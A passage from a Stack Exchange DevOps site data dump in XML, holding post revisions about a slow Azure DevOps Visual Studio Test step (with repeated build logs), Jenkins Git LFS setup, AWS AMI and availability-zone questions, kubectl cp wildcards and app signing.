18&#xD;&#xA;2019-09-23T07:12:22.4707999Z Results File: C:\pool\_work\238\s\TestResults\REDACTED_2019-09-23_10_12_21.trx&#xD;&#xA;2019-09-23T07:12:22.4743977Z &#xD;&#xA;2019-09-23T07:12:22.4746692Z Total tests: 18. Passed: 18. Failed: 0. Skipped: 0.&#xD;&#xA;2019-09-23T07:12:22.4748446Z Test Run Successful.&#xD;&#xA;2019-09-23T07:12:22.4764305Z Test execution time: 2.7962 Seconds&#xD;&#xA;2019-09-23T07:12:23.0702219Z ##[section]Async Command Start: Publish test results&#xD;&#xA;2019-09-23T07:12:23.3336706Z Publishing test results to test run '432'&#xD;&#xA;2019-09-23T07:12:23.3338983Z Test results remaining: 18. Test run id: 432&#xD;&#xA;2019-09-23T07:12:24.1461381Z Published Test Run : http://REDACTED/Runs#runId=432&amp;_a=runCharts&#xD;&#xA;2019-09-23T07:12:24.1474239Z ##[section]Async Command End: Publish test results&#xD;&#xA;2019-09-23T07:12:24.1476508Z ##[section]Finishing: run unit tests&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://azure.microsoft.com/en-in/services/devops/server/&#xD;&#xA;  [2]: https://docs.microsoft.com/en-us/azure/devops/pipelines/tasks/test/vstest?view=azure-devops&#xD;&#xA;  [3]: https://xunit.org/" ContentLicense="CC BY-SA 4.0" />
  <row Id="27231" PostHistoryTypeId="1" PostId="9246" RevisionGUID="d9acdba6-f688-4a53-9692-a501a3c0614e" CreationDate="2019-09-23T09:40:53.067" UserId="17227" Text="Azure DevOps Server: Why does a Visual Studio Test step take so long to run unit tests?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27232" PostHistoryTypeId="3" PostId="9246" RevisionGUID="d9acdba6-f688-4a53-9692-a501a3c0614e" CreationDate="2019-09-23T09:40:53.067" UserId="17227" Text="&lt;azure-devops&gt;&lt;testing&gt;&lt;unit-testing&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27233" PostHistoryTypeId="5" PostId="9246" RevisionGUID="a370e47e-761e-426e-9330-929d61cfc976" CreationDate="2019-09-23T09:46:44.747" UserId="17227" Comment="added 107 characters in body" Text="In an [Azure DevOps Server][1] build system installed on premises, I have a Build Pipeline with a [Visual Studio Test step][2]. The step is configured to discover and run [XUnit][3] unit tests in a DLL.&#xD;&#xA;&#xD;&#xA;The step runs and passes successfully, identifying 18 tests. However, it's taking an unreasonable time to do so: ~51 seconds.&#xD;&#xA;&#xD;&#xA;The run logs show that it's spending about 40 seconds right before launching `vstest.console.exe`, seemingly doing nothing. Please see this line in the full log, below:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;2019-09-23T07:11:35.7961563Z ========================================================&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**My Question** - Why does the Visual Studio Test step spend so much time idling? What can I do to make it waste less time?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;2019-09-23T07:11:32.4121152Z ##[section]Starting: run unit tests&#xD;&#xA;2019-09-23T07:11:32.4135871Z ==============================================================================&#xD;&#xA;2019-09-23T07:11:32.4136477Z Task         : Visual Studio Test&#xD;&#xA;2019-09-23T07:11:32.4136755Z Description  : Run unit and functional tests (Selenium, Appium, Coded UI test, etc.) using the Visual Studio Test (VsTest) runner. Test frameworks that have a Visual Studio test adapter such as MsTest, xUnit, NUnit, Chutzpah (for JavaScript tests using QUnit, Mocha and Jasmine), etc. can be run. Tests can be distributed on multiple agents using this task (version 2).&#xD;&#xA;2019-09-23T07:11:32.4137066Z Version      : 2.143.8&#xD;&#xA;2019-09-23T07:11:32.4137295Z Author       : Microsoft Corporation&#xD;&#xA;2019-09-23T07:11:32.4137526Z Help         : [More information](https://go.microsoft.com/fwlink/?LinkId=835764)&#xD;&#xA;2019-09-23T07:11:32.4138042Z ==============================================================================&#xD;&#xA;2019-09-23T07:11:35.0894195Z SystemVssConnection exists true&#xD;&#xA;2019-09-23T07:11:35.0937440Z SystemVssConnection exists true&#xD;&#xA;2019-09-23T07:11:35.2406351Z Running tests using vstest.console.exe runner.&#xD;&#xA;2019-09-23T07:11:35.2407337Z ======================================================&#xD;&#xA;2019-09-23T07:11:35.2408408Z Test selector : Test assemblies&#xD;&#xA;2019-09-23T07:11:35.2409125Z Test filter criteria : null&#xD;&#xA;2019-09-23T07:11:35.2409694Z Search folder : C:\pool\_work\238\s&#xD;&#xA;2019-09-23T07:11:35.2412135Z VisualStudio version selected for test execution : latest&#xD;&#xA;2019-09-23T07:11:35.2758339Z Run in parallel : false&#xD;&#xA;2019-09-23T07:11:35.2810059Z Run in isolation : false&#xD;&#xA;2019-09-23T07:11:35.2813902Z Path to custom adapters : null&#xD;&#xA;2019-09-23T07:11:35.2831140Z Other console options : null&#xD;&#xA;2019-09-23T07:11:35.2883526Z Code coverage enabled : false&#xD;&#xA;2019-09-23T07:11:35.2884892Z Diagnostics enabled : false&#xD;&#xA;2019-09-23T07:11:35.2937817Z SystemVssConnection exists true&#xD;&#xA;2019-09-23T07:11:35.3039161Z Run the tests locally using vstest.console.exe&#xD;&#xA;2019-09-23T07:11:35.3040102Z ========================================================&#xD;&#xA;2019-09-23T07:11:35.3075806Z Test selector : Test assemblies&#xD;&#xA;2019-09-23T07:11:35.3094635Z Test assemblies : **\*test*.dll,!**\*TestAdapter.dll,!**\obj\**&#xD;&#xA;2019-09-23T07:11:35.3095999Z Test filter criteria : null&#xD;&#xA;2019-09-23T07:11:35.3114780Z Search folder : C:\pool\_work\238\s&#xD;&#xA;2019-09-23T07:11:35.3125782Z Run settings file : C:\pool\_work\238\s&#xD;&#xA;2019-09-23T07:11:35.3144368Z Run in parallel : false&#xD;&#xA;2019-09-23T07:11:35.3158394Z Run in isolation : false&#xD;&#xA;2019-09-23T07:11:35.3243577Z Path to custom adapters : null&#xD;&#xA;2019-09-23T07:11:35.3244967Z Other console options : null&#xD;&#xA;2019-09-23T07:11:35.3269743Z Code coverage enabled : false&#xD;&#xA;2019-09-23T07:11:35.3273300Z Diagnostics enabled : false&#xD;&#xA;2019-09-23T07:11:35.3286973Z Rerun failed tests: false&#xD;&#xA;2019-09-23T07:11:35.3308152Z VisualStudio version selected for test execution : latest&#xD;&#xA;2019-09-23T07:11:35.7961563Z ========================================================&#xD;&#xA;2019-09-23T07:11:50.3641983Z ======================================================&#xD;&#xA;2019-09-23T07:12:16.2956956Z [command]&quot;C:\Program Files (x86)\Microsoft Visual Studio\2017\Enterprise\Common7\IDE\CommonExtensions\Microsoft\TestWindow\vstest.console.exe&quot; @C:\pool\_work\_temp\60ff2cb1-ddd1-11e9-a3ed-db0a48eb3ef5.txt&#xD;&#xA;2019-09-23T07:12:16.9940929Z Microsoft (R) Test Execution Command Line Tool Version 15.9.0&#xD;&#xA;2019-09-23T07:12:16.9941829Z Copyright (c) Microsoft Corporation.  All rights reserved.&#xD;&#xA;2019-09-23T07:12:16.9942101Z &#xD;&#xA;2019-09-23T07:12:16.9942399Z vstest.console.exe &#xD;&#xA;2019-09-23T07:12:16.9942679Z &quot;C:\pool\_work\238\s\REDACTED\bin\Release\REDACTED.Tests.dll&quot;&#xD;&#xA;2019-09-23T07:12:16.9942954Z /logger:&quot;trx&quot;&#xD;&#xA;2019-09-23T07:12:16.9943238Z /TestAdapterPath:&quot;C:\pool\_work\238\s&quot;&#xD;&#xA;2019-09-23T07:12:17.6998070Z Starting test execution, please wait...&#xD;&#xA;2019-09-23T07:12:20.5147395Z [xUnit.net 00:00:00.6296658]   Discovering: REDACTED.Tests&#xD;&#xA;2019-09-23T07:12:20.6880418Z [xUnit.net 00:00:00.8113825]   Discovered:  REDACTED.Tests&#xD;&#xA;2019-09-23T07:12:20.6955571Z [xUnit.net 00:00:00.8192449]   Starting:    REDACTED.Tests&#xD;&#xA;2019-09-23T07:12:21.9022641Z Passed   REDACTED 1&#xD;&#xA;2019-09-23T07:12:21.9024375Z Passed   REDACTED 2&#xD;&#xA;2019-09-23T07:12:21.9024811Z Passed   REDACTED 3&#xD;&#xA;2019-09-23T07:12:21.9025086Z Passed   REDACTED 4&#xD;&#xA;2019-09-23T07:12:21.9025460Z Passed   REDACTED 5&#xD;&#xA;2019-09-23T07:12:21.9026429Z Passed   REDACTED 6&#xD;&#xA;2019-09-23T07:12:21.9027211Z Passed   REDACTED 7&#xD;&#xA;2019-09-23T07:12:21.9027581Z Passed   REDACTED 8&#xD;&#xA;2019-09-23T07:12:21.9027938Z Passed   REDACTED 9&#xD;&#xA;2019-09-23T07:12:21.9028266Z [xUnit.net 00:00:01.9910390]   Finished:    REDACTED.Tests&#xD;&#xA;2019-09-23T07:12:22.3918748Z Passed   REDACTED 10&#xD;&#xA;2019-09-23T07:12:22.3920336Z Passed   REDACTED 11&#xD;&#xA;2019-09-23T07:12:22.3920912Z Passed   REDACTED 12&#xD;&#xA;2019-09-23T07:12:22.3922185Z Passed   REDACTED 13&#xD;&#xA;2019-09-23T07:12:22.3923090Z Passed   REDACTED 14&#xD;&#xA;2019-09-23T07:12:22.3925098Z Passed   REDACTED 15&#xD;&#xA;2019-09-23T07:12:22.3926473Z Passed   REDACTED 16&#xD;&#xA;2019-09-23T07:12:22.3928334Z Passed   REDACTED 17&#xD;&#xA;2019-09-23T07:12:22.3930288Z Passed   REDACTED 18&#xD;&#xA;2019-09-23T07:12:22.4707999Z Results File: C:\pool\_work\238\s\TestResults\REDACTED_2019-09-23_10_12_21.trx&#xD;&#xA;2019-09-23T07:12:22.4743977Z &#xD;&#xA;2019-09-23T07:12:22.4746692Z Total tests: 18. Passed: 18. Failed: 0. Skipped: 0.&#xD;&#xA;2019-09-23T07:12:22.4748446Z Test Run Successful.&#xD;&#xA;2019-09-23T07:12:22.4764305Z Test execution time: 2.7962 Seconds&#xD;&#xA;2019-09-23T07:12:23.0702219Z ##[section]Async Command Start: Publish test results&#xD;&#xA;2019-09-23T07:12:23.3336706Z Publishing test results to test run '432'&#xD;&#xA;2019-09-23T07:12:23.3338983Z Test results remaining: 18. Test run id: 432&#xD;&#xA;2019-09-23T07:12:24.1461381Z Published Test Run : http://REDACTED/Runs#runId=432&amp;_a=runCharts&#xD;&#xA;2019-09-23T07:12:24.1474239Z ##[section]Async Command End: Publish test results&#xD;&#xA;2019-09-23T07:12:24.1476508Z ##[section]Finishing: run unit tests&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://azure.microsoft.com/en-in/services/devops/server/&#xD;&#xA;  [2]: https://docs.microsoft.com/en-us/azure/devops/pipelines/tasks/test/vstest?view=azure-devops&#xD;&#xA;  [3]: https://xunit.org/" ContentLicense="CC BY-SA 4.0" />
  <row Id="27235" PostHistoryTypeId="5" PostId="9246" RevisionGUID="79ca65be-e7a0-4870-90fb-e25dc656ace2" CreationDate="2019-09-23T14:06:48.827" UserId="17227" Comment="added 314 characters in body" Text="In an [Azure DevOps Server][1] build system installed on premises, I have a Build Pipeline with a [Visual Studio Test step][2]. The step is configured to discover and run [XUnit][3] unit tests in a DLL.&#xD;&#xA;&#xD;&#xA;The step is defined via the GUI. Here are its properties:&#xD;&#xA;```&#xD;&#xA;Version: 2.*&#xD;&#xA;Select tests using: Test assemblies&#xD;&#xA;Test files:&#xD;&#xA;    **\*test*.dll&#xD;&#xA;    !**\*TestAdapter.dll&#xD;&#xA;    !**\obj\**&#xD;&#xA;Search folder: $(System.DefaultWorkingDirectory)&#xD;&#xA;Select test platform using: Version&#xD;&#xA;Test platform version: Latest&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The step runs and passes successfully, identifying 18 tests. However, it's taking an unreasonable time to do so: ~51 seconds.&#xD;&#xA;&#xD;&#xA;The run logs show that it's spending about 40 seconds right before launching `vstest.console.exe`, seemingly doing nothing. Please see this line in the full log, below:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;2019-09-23T07:11:35.7961563Z ========================================================&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**My Question** - Why does the Visual Studio Test step spend so much time idling? What can I do to make it waste less time?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;2019-09-23T07:11:32.4121152Z ##[section]Starting: run unit tests&#xD;&#xA;2019-09-23T07:11:32.4135871Z ==============================================================================&#xD;&#xA;2019-09-23T07:11:32.4136477Z Task         : Visual Studio Test&#xD;&#xA;2019-09-23T07:11:32.4136755Z Description  : Run unit and functional tests (Selenium, Appium, Coded UI test, etc.) using the Visual Studio Test (VsTest) runner. Test frameworks that have a Visual Studio test adapter such as MsTest, xUnit, NUnit, Chutzpah (for JavaScript tests using QUnit, Mocha and Jasmine), etc. can be run. Tests can be distributed on multiple agents using this task (version 2).&#xD;&#xA;2019-09-23T07:11:32.4137066Z Version      : 2.143.8&#xD;&#xA;2019-09-23T07:11:32.4137295Z Author       : Microsoft Corporation&#xD;&#xA;2019-09-23T07:11:32.4137526Z Help         : [More information](https://go.microsoft.com/fwlink/?LinkId=835764)&#xD;&#xA;2019-09-23T07:11:32.4138042Z ==============================================================================&#xD;&#xA;2019-09-23T07:11:35.0894195Z SystemVssConnection exists true&#xD;&#xA;2019-09-23T07:11:35.0937440Z SystemVssConnection exists true&#xD;&#xA;2019-09-23T07:11:35.2406351Z Running tests using vstest.console.exe runner.&#xD;&#xA;2019-09-23T07:11:35.2407337Z ======================================================&#xD;&#xA;2019-09-23T07:11:35.2408408Z Test selector : Test assemblies&#xD;&#xA;2019-09-23T07:11:35.2409125Z Test filter criteria : null&#xD;&#xA;2019-09-23T07:11:35.2409694Z Search folder : C:\pool\_work\238\s&#xD;&#xA;2019-09-23T07:11:35.2412135Z VisualStudio version selected for test execution : latest&#xD;&#xA;2019-09-23T07:11:35.2758339Z Run in parallel : false&#xD;&#xA;2019-09-23T07:11:35.2810059Z Run in isolation : false&#xD;&#xA;2019-09-23T07:11:35.2813902Z Path to custom adapters : null&#xD;&#xA;2019-09-23T07:11:35.2831140Z Other console options : null&#xD;&#xA;2019-09-23T07:11:35.2883526Z Code coverage enabled : false&#xD;&#xA;2019-09-23T07:11:35.2884892Z Diagnostics enabled : false&#xD;&#xA;2019-09-23T07:11:35.2937817Z SystemVssConnection exists true&#xD;&#xA;2019-09-23T07:11:35.3039161Z Run the tests locally using vstest.console.exe&#xD;&#xA;2019-09-23T07:11:35.3040102Z ========================================================&#xD;&#xA;2019-09-23T07:11:35.3075806Z Test selector : Test assemblies&#xD;&#xA;2019-09-23T07:11:35.3094635Z Test assemblies : **\*test*.dll,!**\*TestAdapter.dll,!**\obj\**&#xD;&#xA;2019-09-23T07:11:35.3095999Z Test filter criteria : null&#xD;&#xA;2019-09-23T07:11:35.3114780Z Search folder : C:\pool\_work\238\s&#xD;&#xA;2019-09-23T07:11:35.3125782Z Run settings file : C:\pool\_work\238\s&#xD;&#xA;2019-09-23T07:11:35.3144368Z Run in parallel : false&#xD;&#xA;2019-09-23T07:11:35.3158394Z Run in isolation : false&#xD;&#xA;2019-09-23T07:11:35.3243577Z Path to custom adapters : null&#xD;&#xA;2019-09-23T07:11:35.3244967Z Other console options : null&#xD;&#xA;2019-09-23T07:11:35.3269743Z Code coverage enabled : false&#xD;&#xA;2019-09-23T07:11:35.3273300Z Diagnostics enabled : false&#xD;&#xA;2019-09-23T07:11:35.3286973Z Rerun failed tests: false&#xD;&#xA;2019-09-23T07:11:35.3308152Z VisualStudio version selected for test execution : latest&#xD;&#xA;2019-09-23T07:11:35.7961563Z ========================================================&#xD;&#xA;2019-09-23T07:11:50.3641983Z ======================================================&#xD;&#xA;2019-09-23T07:12:16.2956956Z [command]&quot;C:\Program Files (x86)\Microsoft Visual Studio\2017\Enterprise\Common7\IDE\CommonExtensions\Microsoft\TestWindow\vstest.console.exe&quot; @C:\pool\_work\_temp\60ff2cb1-ddd1-11e9-a3ed-db0a48eb3ef5.txt&#xD;&#xA;2019-09-23T07:12:16.9940929Z Microsoft (R) Test Execution Command Line Tool Version 15.9.0&#xD;&#xA;2019-09-23T07:12:16.9941829Z Copyright (c) Microsoft Corporation.  All rights reserved.&#xD;&#xA;2019-09-23T07:12:16.9942101Z &#xD;&#xA;2019-09-23T07:12:16.9942399Z vstest.console.exe &#xD;&#xA;2019-09-23T07:12:16.9942679Z &quot;C:\pool\_work\238\s\REDACTED\bin\Release\REDACTED.Tests.dll&quot;&#xD;&#xA;2019-09-23T07:12:16.9942954Z /logger:&quot;trx&quot;&#xD;&#xA;2019-09-23T07:12:16.9943238Z /TestAdapterPath:&quot;C:\pool\_work\238\s&quot;&#xD;&#xA;2019-09-23T07:12:17.6998070Z Starting test execution, please wait...&#xD;&#xA;2019-09-23T07:12:20.5147395Z [xUnit.net 00:00:00.6296658]   Discovering: REDACTED.Tests&#xD;&#xA;2019-09-23T07:12:20.6880418Z [xUnit.net 00:00:00.8113825]   Discovered:  REDACTED.Tests&#xD;&#xA;2019-09-23T07:12:20.6955571Z [xUnit.net 00:00:00.8192449]   Starting:    REDACTED.Tests&#xD;&#xA;2019-09-23T07:12:21.9022641Z Passed   REDACTED 1&#xD;&#xA;2019-09-23T07:12:21.9024375Z Passed   REDACTED 2&#xD;&#xA;2019-09-23T07:12:21.9024811Z Passed   REDACTED 3&#xD;&#xA;2019-09-23T07:12:21.9025086Z Passed   REDACTED 4&#xD;&#xA;2019-09-23T07:12:21.9025460Z Passed   REDACTED 5&#xD;&#xA;2019-09-23T07:12:21.9026429Z Passed   REDACTED 6&#xD;&#xA;2019-09-23T07:12:21.9027211Z Passed   REDACTED 7&#xD;&#xA;2019-09-23T07:12:21.9027581Z Passed   REDACTED 8&#xD;&#xA;2019-09-23T07:12:21.9027938Z Passed   REDACTED 9&#xD;&#xA;2019-09-23T07:12:21.9028266Z [xUnit.net 00:00:01.9910390]   Finished:    REDACTED.Tests&#xD;&#xA;2019-09-23T07:12:22.3918748Z Passed   REDACTED 10&#xD;&#xA;2019-09-23T07:12:22.3920336Z Passed   REDACTED 11&#xD;&#xA;2019-09-23T07:12:22.3920912Z Passed   REDACTED 12&#xD;&#xA;2019-09-23T07:12:22.3922185Z Passed   REDACTED 13&#xD;&#xA;2019-09-23T07:12:22.3923090Z Passed   REDACTED 14&#xD;&#xA;2019-09-23T07:12:22.3925098Z Passed   REDACTED 15&#xD;&#xA;2019-09-23T07:12:22.3926473Z Passed   REDACTED 16&#xD;&#xA;2019-09-23T07:12:22.3928334Z Passed   REDACTED 17&#xD;&#xA;2019-09-23T07:12:22.3930288Z Passed   REDACTED 18&#xD;&#xA;2019-09-23T07:12:22.4707999Z Results File: C:\pool\_work\238\s\TestResults\REDACTED_2019-09-23_10_12_21.trx&#xD;&#xA;2019-09-23T07:12:22.4743977Z &#xD;&#xA;2019-09-23T07:12:22.4746692Z Total tests: 18. Passed: 18. Failed: 0. Skipped: 0.&#xD;&#xA;2019-09-23T07:12:22.4748446Z Test Run Successful.&#xD;&#xA;2019-09-23T07:12:22.4764305Z Test execution time: 2.7962 Seconds&#xD;&#xA;2019-09-23T07:12:23.0702219Z ##[section]Async Command Start: Publish test results&#xD;&#xA;2019-09-23T07:12:23.3336706Z Publishing test results to test run '432'&#xD;&#xA;2019-09-23T07:12:23.3338983Z Test results remaining: 18. Test run id: 432&#xD;&#xA;2019-09-23T07:12:24.1461381Z Published Test Run : http://REDACTED/Runs#runId=432&amp;_a=runCharts&#xD;&#xA;2019-09-23T07:12:24.1474239Z ##[section]Async Command End: Publish test results&#xD;&#xA;2019-09-23T07:12:24.1476508Z ##[section]Finishing: run unit tests&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://azure.microsoft.com/en-in/services/devops/server/&#xD;&#xA;  [2]: https://docs.microsoft.com/en-us/azure/devops/pipelines/tasks/test/vstest?view=azure-devops&#xD;&#xA;  [3]: https://xunit.org/" ContentLicense="CC BY-SA 4.0" />
  <row Id="27239" PostHistoryTypeId="5" PostId="9234" RevisionGUID="3c6866f1-b5d9-4e2b-8230-235ca4344bf6" CreationDate="2019-09-23T16:03:54.890" UserId="739" Comment="copy editing" Text="If you can keep one common deployment strategy across both that would be simpler and less effort from the ops side of things.  Kubernetes seems to be a great choice for the cloud orchestration layer at this point in time.  Does Kubernetes make sense for the on-prem side though?  If you're not planning on each on-prem install including 5-10 servers to spread Kubernetes out over then it probably doesn't make sense to use it there.  All hope is not lost.  :)  You could take the same Docker containers that you ran under Kubernetes and run them yourself for on-prem.  You're going to be stuck dealing with service discovery, but if you're only installing on one server that can be solved in some old school way like picking and assigning ports to specific services." ContentLicense="CC BY-SA 4.0" />
  <row Id="27240" PostHistoryTypeId="2" PostId="9248" RevisionGUID="da2403e1-769e-47e7-a54f-83bd2d1b341d" CreationDate="2019-09-23T16:47:17.897" UserId="210" Text="It seems that it is only possible by using a workaround as depicted in [this answer][1].&#xD;&#xA;&#xD;&#xA;After setting gitLFS in the UI, subsequently inspecting the `/var/lib/jenkins/jobs/some-job/config.xml` file it became obvious that the XML looked as follows:&#xD;&#xA;&#xD;&#xA;    &lt;traits&gt;&#xD;&#xA;       &lt;jenkins.plugins.git.traits.GitLFSPullTrait&gt;&#xD;&#xA;          &lt;extension class=&quot;hudson.plugins.git.extensions.impl.GitLFSPull&quot;/&gt;&#xD;&#xA;       &lt;/jenkins.plugins.git.traits.GitLFSPullTrait&gt;&#xD;&#xA;    &lt;/traits&#xD;&#xA;&#xD;&#xA;After defining `jenkins.plugins.git.traits.GitLFSPullTrait`:&#xD;&#xA;&#xD;&#xA;    jobs:&#xD;&#xA;      - script: &gt;&#xD;&#xA;          multibranchPipelineJob(&quot;example&quot;) {&#xD;&#xA;            branchSources {&#xD;&#xA;              ...&#xD;&#xA;            }&#xD;&#xA;            configure { node -&gt;&#xD;&#xA;              node / sources / data / 'jenkins.branch.BranchSource' / source / traits {&#xD;&#xA;                'jenkins.plugins.git.traits.GitLFSPullTrait'()&#xD;&#xA;              }&#xD;&#xA;            }&#xD;&#xA;          }&#xD;&#xA;&#xD;&#xA;Git-lfs was enabled.&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/a/49637685/2777965" ContentLicense="CC BY-SA 4.0" />
  <row Id="27245" PostHistoryTypeId="2" PostId="9249" RevisionGUID="36d5b1dd-685a-4192-8ba1-267abe78f6fd" CreationDate="2019-09-23T19:40:26.090" UserId="12138" Text="As per the error, it looks like the resolution is not happening for host `xxxxx-xxxxx-xxxx.xxxxxxxxx.us-east-2.rds.amazonaws.com'`. I mean the hostname is not getting resolved to the IP address from inside the container. &#xD;&#xA;&#xD;&#xA;You may need to check if the DNS resolver is working properly from inside the container or not. For testing, you can try to use the IP instead of the RDS endpoint hostname and see if it works. " ContentLicense="CC BY-SA 4.0" />
  <row Id="27246" PostHistoryTypeId="2" PostId="9250" RevisionGUID="5d7b0a37-c675-4849-aa11-3e1d671a89bd" CreationDate="2019-09-23T19:44:47.827" UserId="15792" Text="These steps in the Azure DevOps docs may be helpful: [Sign Your Mobile App][1].&#xD;&#xA;&#xD;&#xA;The way I set this up on a project was to go through Microsoft's AppCenter which had tooling to automatically handle the provisioning profile madness: [Deploy Documentation][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/devops/pipelines/apps/mobile/app-signing?view=azure-devops&amp;tabs=apple-preinstall#configure-your-build&#xD;&#xA;  [2]: https://docs.microsoft.com/en-us/azure/devops/pipelines/ecosystems/xcode?view=azure-devops#deploy" ContentLicense="CC BY-SA 4.0" />
  <row Id="27247" PostHistoryTypeId="2" PostId="9251" RevisionGUID="50a75cb1-04ab-4e11-a8f1-3c9e95ff45bf" CreationDate="2019-09-23T19:52:19.997" UserId="210" Text="Creation date: `September 23, 2019 at 9:22:06 PM UTC+2`&#xD;&#xA;&#xD;&#xA;`21:48`: still waiting for completion&#xD;&#xA;&#xD;&#xA;`21:53`: completed&#xD;&#xA;&#xD;&#xA;Sometimes it takes 15 minutes and sometimes longer. How does a creation of an AMI work and why is the creation time unpredictable?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27248" PostHistoryTypeId="1" PostId="9251" RevisionGUID="50a75cb1-04ab-4e11-a8f1-3c9e95ff45bf" CreationDate="2019-09-23T19:52:19.997" UserId="210" Text="How does the creation of an AMI on AWS work and why is the creation time unpredictable?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27249" PostHistoryTypeId="3" PostId="9251" RevisionGUID="50a75cb1-04ab-4e11-a8f1-3c9e95ff45bf" CreationDate="2019-09-23T19:52:19.997" UserId="210" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;amazon-ami&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27250" PostHistoryTypeId="2" PostId="9252" RevisionGUID="c55f581a-9530-44a9-9962-075503459ebb" CreationDate="2019-09-23T20:39:39.920" UserId="210" Text="The reason why I joined the DevOps StackExchange (SE) in 2017 is that I am very disappointed in the misunderstanding about DevOps. According a lot of people, DevOps is a role, while it is a culture! At work I often feel that some people see me as IT of Dev, while I am automating a lot together with my colleagues. However this SE keeps me focused on implementing a DevOps culture and I have to say that it is improving.&#xD;&#xA;&#xD;&#xA;Since I am a member of this SE I monitor the question page and try to answer questions and ask questions on a daily basis. I am very happy to be a member as various people helped me to solve issues.&#xD;&#xA;&#xD;&#xA;As a moderator I would like to help the existing moderators cleaning up tags and coaching new members regarding DevOps." ContentLicense="CC BY-SA 4.0" />
  <row Id="27251" PostHistoryTypeId="5" PostId="6726" RevisionGUID="b94e1006-9e5e-49db-80fb-872b4d2129a4" CreationDate="2019-09-23T23:44:43.593" UserId="13139" Comment="Add further info" Text="Wildcard support was added to `kubectl cp` in the [#72641][1] pull request.&#xD;&#xA;&#xD;&#xA;It is merged but **only available in Kubernetes v1.14.0**. Take a look at the [ChangeLog][2]:&#xD;&#xA;&#xD;&#xA;&gt; Notable Features:   &#xD;&#xA;[...]  &#xD;&#xA;• kubectl supports copying files with wild card&#xD;&#xA;&gt; (#72641, @dixudx)&#xD;&#xA;&#xD;&#xA;However, as stated on the issue [#78854][3] the PR was made without proper tests, and **the feature is actually broken**. The PR to fix the problem ([#78928][4]) is open since June, and it's not merged yet.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/kubernetes/kubernetes/pull/72641&#xD;&#xA;  [2]: https://github.com/kubernetes/kubernetes/blob/master/CHANGELOG-1.14.md#notable-features&#xD;&#xA;  [3]: https://github.com/kubernetes/kubernetes/issues/78854&#xD;&#xA;  [4]: https://github.com/kubernetes/kubernetes/pull/78928" ContentLicense="CC BY-SA 4.0" />
  <row Id="27252" PostHistoryTypeId="2" PostId="9253" RevisionGUID="f1032583-6582-4efb-a150-27325428ec1e" CreationDate="2019-09-24T02:09:48.677" UserId="17240" Text="I'm taking my first course For AWS cloud practitioner and I am curious:&#xD;&#xA;&#xD;&#xA;**The case**: I have a single, client-facing application hosted on an EC2 instance. Let's keep it simple and say it's brochureware, the database is in a volume attached to the instance. It's using us-west-2a as its availability zone.&#xD;&#xA;&#xD;&#xA;**The conundrum**:&#xD;&#xA;I understand the use of CDNs as they essentially store a copy of the application in the edge locations so clients can be delivered a static copy quickly without using up EC2 compute time.&#xD;&#xA;&#xD;&#xA;I also understand regions but only to the extent that it is an initial starting point for building out your application.&#xD;&#xA;&#xD;&#xA;**What would be the nature of cases that would require me to duplicate my EC2 instance to a new availability zone and run the two exact same applications simultaneously?**&#xD;&#xA;&#xD;&#xA;A few things pop-up for me initially:&#xD;&#xA;&#xD;&#xA; - Computational availability (ex: the application client needs to request specific data, like a user defined request)&#xD;&#xA; - Zone based version control (ex: an incremental rollout of a feature)&#xD;&#xA; - And if I'm using this term right, fault tolerance (graceful degradation?). If one zone is down we can fall back to another.&#xD;&#xA;&#xD;&#xA;Are these assumptions correct? " ContentLicense="CC BY-SA 4.0" />
  <row Id="27253" PostHistoryTypeId="1" PostId="9253" RevisionGUID="f1032583-6582-4efb-a150-27325428ec1e" CreationDate="2019-09-24T02:09:48.677" UserId="17240" Text="When should an application be copied to a new region?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27254" PostHistoryTypeId="3" PostId="9253" RevisionGUID="f1032583-6582-4efb-a150-27325428ec1e" CreationDate="2019-09-24T02:09:48.677" UserId="17240" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;high-availability&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27255" PostHistoryTypeId="5" PostId="9250" RevisionGUID="811c393e-4358-4352-abcc-63c71e91bb8b" CreationDate="2019-09-24T02:15:26.847" UserId="15792" Comment="Edited answer to clarify that you should not need the UUID." Text="These steps in the Azure DevOps docs may be helpful: [Sign Your Mobile App][1].&#xD;&#xA;&#xD;&#xA;Basically you should be able to generate your p12 and provisioning profile on a mac you control, and then using the &quot;Install an Apple certificate/provisioning profile&quot; tasks you can install the certs onto the mac agent for building.  No UUID should be needed for the agent.  [Here's a guide][2] that may be useful (it's targeting iOS, not macOS but the concept is the same).&#xD;&#xA;&#xD;&#xA;The way I set this up on a project was to go through Microsoft's AppCenter which had tooling to automatically handle the provisioning profile madness: [Deploy Documentation][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/devops/pipelines/apps/mobile/app-signing?view=azure-devops&amp;tabs=apple-preinstall#configure-your-build&#xD;&#xA;  [2]: https://neillans.dev/setting-up-an-ios-build-on-azure-devops/&#xD;&#xA;  [3]: https://docs.microsoft.com/en-us/azure/devops/pipelines/ecosystems/xcode?view=azure-devops#deploy" ContentLicense="CC BY-SA 